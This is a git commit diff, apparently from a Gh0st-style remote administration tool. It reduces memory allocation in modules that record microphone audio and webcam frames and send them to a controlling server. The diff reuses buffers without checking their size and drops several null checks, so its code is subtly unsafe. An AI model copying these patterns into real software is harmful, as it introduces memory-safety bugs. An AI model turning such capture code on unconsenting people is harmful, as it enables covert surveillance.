减少捕获音视频时申请内存次数
减少音频视频捕获过程中频繁申请内存。
This commit is contained in:
@@ -133,3 +133,7 @@
|
||||
2019.1.21
|
||||
|
||||
减少远程桌面new缓冲区的频率,将部分从堆上new固定内存的操作改用从栈上分配内存。
|
||||
|
||||
2019.1.22
|
||||
|
||||
减少音频视频捕获过程中频繁申请内存。
|
||||
|
||||
@@ -147,10 +147,7 @@ LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
if (dwBufferSize == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
SetEvent(m_hStartRecord);
|
||||
WaitForSingleObject(m_hEventWaveIn, INFINITE);
|
||||
*dwBufferSize = m_ulBufferLength;
|
||||
|
||||
@@ -31,6 +31,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObj
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
|
||||
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
szPacket = NULL;
|
||||
|
||||
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
|
||||
(LPVOID)this, 0, NULL);
|
||||
@@ -77,7 +78,7 @@ BOOL CAudioManager::SendRecordBuffer()
|
||||
if (szBuffer == NULL)
|
||||
return 0;
|
||||
//<2F><><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||
LPBYTE szPacket = new BYTE[dwBufferSize + 1];
|
||||
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><CDB8><EFBFBD>Ϣ
|
||||
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -87,7 +88,6 @@ BOOL CAudioManager::SendRecordBuffer()
|
||||
{
|
||||
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
|
||||
}
|
||||
delete szPacket;
|
||||
return dwReturn;
|
||||
}
|
||||
|
||||
@@ -103,6 +103,11 @@ CAudioManager::~CAudioManager()
|
||||
delete m_AudioObject;
|
||||
m_AudioObject = NULL;
|
||||
}
|
||||
if (szPacket)
|
||||
{
|
||||
delete [] szPacket;
|
||||
szPacket = NULL;
|
||||
}
|
||||
printf("~CAudioManager %x\n", this);
|
||||
}
|
||||
|
||||
|
||||
@@ -26,6 +26,7 @@ public:
|
||||
BOOL SendRecordBuffer();
|
||||
|
||||
CAudio* m_AudioObject;
|
||||
LPBYTE szPacket; // <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
||||
|
||||
@@ -20,10 +20,12 @@ CCaptureVideo::CCaptureVideo()
|
||||
m_pGB = NULL;
|
||||
m_pMC = NULL;
|
||||
m_pVW = NULL;
|
||||
m_bExit = FALSE;
|
||||
}
|
||||
|
||||
CCaptureVideo::~CCaptureVideo()
|
||||
{
|
||||
m_bExit = TRUE;
|
||||
if(m_pMC)m_pMC->StopWhenReady();
|
||||
if(m_pVW){
|
||||
m_pVW->put_Visible(OAFALSE);
|
||||
@@ -258,10 +260,9 @@ LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
|
||||
{
|
||||
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
|
||||
{
|
||||
szBuffer = mCB.GetNextScreen(dwSize);//ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>Ǽ<EFBFBD><C7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
szBuffer = mCB.GetNextScreen(dwSize);
|
||||
}
|
||||
} while (szBuffer==NULL);
|
||||
|
||||
} while (szBuffer==NULL && !m_bExit);
|
||||
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
@@ -36,7 +36,7 @@ public:
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
||||
BYTE* m_BitmapData_Full;
|
||||
BOOL bStact;
|
||||
DWORD m_dwSize;
|
||||
DWORD m_dwSize; // <20><>Ƶͼ<C6B5><CDBC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
|
||||
|
||||
CSampleGrabberCB()
|
||||
{
|
||||
@@ -152,6 +152,7 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
extern CSampleGrabberCB mCB;
|
||||
|
||||
class CCaptureVideo
|
||||
{
|
||||
@@ -165,6 +166,10 @@ public:
|
||||
|
||||
LPBYTE GetDIB(DWORD& dwSize);
|
||||
|
||||
int GetDIBBufSize() const { return mCB.m_dwSize; }
|
||||
|
||||
BOOL m_bExit;
|
||||
|
||||
HWND m_hWnd;
|
||||
|
||||
IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object
|
||||
|
||||
@@ -20,6 +20,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientO
|
||||
m_fccHandler = 1129730893;
|
||||
|
||||
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
|
||||
lpBuffer = NULL;
|
||||
|
||||
m_hWorkThread = CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
|
||||
@@ -40,16 +41,28 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
This->WaitForDialogOpen();
|
||||
#if USING_ZLIB
|
||||
const int fps = 8;// ֡<><D6A1>
|
||||
#elif USING_LZ4
|
||||
const int fps = 8;// ֡<><D6A1>
|
||||
#else
|
||||
const int fps = 8;// ֡<><D6A1>
|
||||
#endif
|
||||
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
|
||||
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bIsWorking)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||
if ((GetTickCount() - dwLastScreen) < 150)
|
||||
Sleep(100);
|
||||
|
||||
int span = sleep-(GetTickCount() - dwLastScreen);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0)
|
||||
printf("SendScreen Span = %d ms\n", span);
|
||||
dwLastScreen = GetTickCount();
|
||||
This->SendNextScreen(); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>صĴ<D8B5><C4B4><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD>sendNextScreen <20><><EFBFBD><EFBFBD>
|
||||
if(FALSE == This->SendNextScreen())
|
||||
break;
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
|
||||
This->Destroy();
|
||||
std::cout<<"CVideoManager WorkThread end\n";
|
||||
@@ -60,7 +73,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
CVideoManager::~CVideoManager()
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||||
|
||||
m_CapVideo.m_bExit = TRUE;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
std::cout<<"CVideoManager ~CVideoManager \n";
|
||||
@@ -69,10 +82,13 @@ CVideoManager::~CVideoManager()
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
if (lpBuffer)
|
||||
delete [] lpBuffer;
|
||||
}
|
||||
|
||||
void CVideoManager::Destroy()
|
||||
{
|
||||
m_bIsWorking = FALSE;
|
||||
std::cout<<"CVideoManager Destroy \n";
|
||||
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||
{
|
||||
@@ -90,15 +106,18 @@ void CVideoManager::SendBitMapInfor()
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
|
||||
}
|
||||
|
||||
void CVideoManager::SendNextScreen()
|
||||
BOOL CVideoManager::SendNextScreen()
|
||||
{
|
||||
DWORD dwBmpImageSize=0;
|
||||
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
|
||||
if(lpDIB == NULL)
|
||||
return FALSE;
|
||||
|
||||
// token + IsCompress + m_fccHandler + DIB
|
||||
int nHeadLen = 1 + 1 + 4;
|
||||
const int nHeadLen = 1 + 1 + 4;
|
||||
|
||||
UINT nBufferLen = nHeadLen + dwBmpImageSize;
|
||||
LPBYTE lpBuffer = new BYTE[nBufferLen];
|
||||
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
|
||||
|
||||
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
||||
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
|
||||
@@ -116,8 +135,7 @@ void CVideoManager::SendNextScreen()
|
||||
if (!nCompressLen)
|
||||
{
|
||||
// some thing error
|
||||
delete [] lpBuffer;
|
||||
return;
|
||||
return FALSE;
|
||||
}
|
||||
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㷢<EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void)
|
||||
@@ -133,7 +151,7 @@ void CVideoManager::SendNextScreen()
|
||||
|
||||
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
|
||||
|
||||
delete [] lpBuffer;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -23,7 +23,7 @@ public:
|
||||
HANDLE m_hWorkThread;
|
||||
|
||||
void SendBitMapInfor();
|
||||
void SendNextScreen();
|
||||
BOOL SendNextScreen();
|
||||
static DWORD WorkThread(LPVOID lParam);
|
||||
|
||||
CCaptureVideo m_CapVideo;
|
||||
@@ -32,6 +32,7 @@ public:
|
||||
|
||||
DWORD m_fccHandler;
|
||||
bool m_bIsCompress;
|
||||
LPBYTE lpBuffer; // ץͼ<D7A5><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
CVideoCodec *m_pVideoCodec; //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||
void Destroy();
|
||||
|
||||
@@ -815,11 +815,6 @@ VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
|
||||
{
|
||||
m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
if (m_iocpServer==NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)==FALSE)
|
||||
{
|
||||
OutputDebugStringA("======> StartServer Failed \n");
|
||||
|
||||
@@ -33,8 +33,7 @@ CAudio::CAudio()
|
||||
|
||||
m_ulBufferLength = 1000;
|
||||
|
||||
int i = 0;
|
||||
for (i = 0; i < 2; ++i)
|
||||
for (int i = 0; i < 2; ++i)
|
||||
{
|
||||
m_InAudioData[i] = new BYTE[m_ulBufferLength];
|
||||
m_InAudioHeader[i] = new WAVEHDR;
|
||||
|
||||
@@ -12,6 +12,7 @@ CCpuUsage::CCpuUsage()
|
||||
CCpuUsage::~CCpuUsage()
|
||||
{
|
||||
PdhCloseQuery(m_hQuery); //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_pCounterStruct)
|
||||
delete m_pCounterStruct;
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user